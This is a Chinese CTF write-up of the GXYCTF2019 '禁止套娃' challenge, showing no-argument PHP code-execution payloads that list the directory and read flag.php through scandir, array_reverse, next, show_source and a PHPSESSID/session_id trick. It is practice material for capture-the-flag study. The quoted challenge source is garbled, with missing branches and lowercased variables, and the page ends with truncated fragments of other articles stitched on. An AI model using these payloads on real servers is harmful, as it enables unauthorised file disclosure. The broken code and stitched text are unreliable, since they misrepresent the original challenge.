GXYCTF2019 禁止套娃 無引數RCE

2022-03-08 13:37:03 字數 1889 閱讀 9809

復現一下buuctf上的[gxyctf2019]禁止套娃

buuctf增設了waf 所以fuzz都不能用了..

git洩露,不知道為啥我的githack掃不到呢?(頭大)

echo "flag在**呢?

";if(isset($_get['exp']))

else

}else

}else}//

highlight_file(__file__);

?>

先熟悉幾個php函式:

scandir

() 掃瞄目錄

localeconv

() 返回本地數字及貨幣資訊陣列

current

() 返回陣列中當前元素值

next() 指向下乙個陣列元素,並輸出

payload:?exp=print_r(scandir(current(localeconv())));//遍歷當前目錄所有檔案,得知flag.php在當前目錄下

熟悉幾個php陣列函式

array_rand

() 從陣列中隨機取出乙個或多個單元

array_flip

() 交換陣列鍵和值

array_reverse() 相反順序返回陣列

payload1:

?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));

//沒理解為啥要交換鍵值

ctf中常見的php輸出函式

readfile

() 讀取乙個檔案寫入輸出緩衝

highlight_file

() 高亮度列印檔案

show_source() 對檔案進行高亮顯示,讀檔案內容

get_file_contents() 把檔案讀入乙個字串

//筆者思路多用兩個next()就能指向flag了,可事實並非。後來在本地測試執行,下乙個就會自動跳到下乙個鍵值,可在題目中好像並不能實現

這個時候就需要用到上面所貼的array_reverse()了

故payload2:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
下面還學習了師傅的另外乙個思路不得不說 tql

session_id可以獲取phpsessid的值,而我們知道phpsessid允許字母和數字出現,而flag.php符合條件.

因此我們在請求包中cookie:phpsessid=flag.php,使用session之前需要通過session_start()告訴php使用session,php預設是不主動使用session的。

session_id()可以獲取到當前的session id。

這樣可以構造payload:?exp=readfile(session_id(session_start()));

達到任意檔案讀取的效果:

GXYCTF2019 禁止套娃

剛開始不知道幹嘛,就註冊做題思路,掃目錄,抓包,都沒上面思路,後面嘗試了下,git 洩露用githack掃一下 githack.py得到index.php include flag.php echo flag在 呢?if isset get exp else else else highlight ...

GXYCTF2019 禁止套娃 WP

用githack.py跑一下得到原始碼index.php include flag.php echo flag在 呢?if isset get exp else else else highlight file file 其中有三個過濾,第乙個過濾了常見的php偽協議。第二個這種正則,就是我們說的無...

刷題 GXYCTF2019 禁止套娃

開啟 發現很簡單,只有flag在 的字樣。檢視原始碼,常用後台目錄,robots.txt,都未發現有任何東西。直接拉進掃瞄器一掃,發現 思考可能是git原始碼洩露,可能可以恢復原始碼。github上有很多優秀的git恢復工具。在這裡推薦兩款 git extract 和githack。都支援diffe...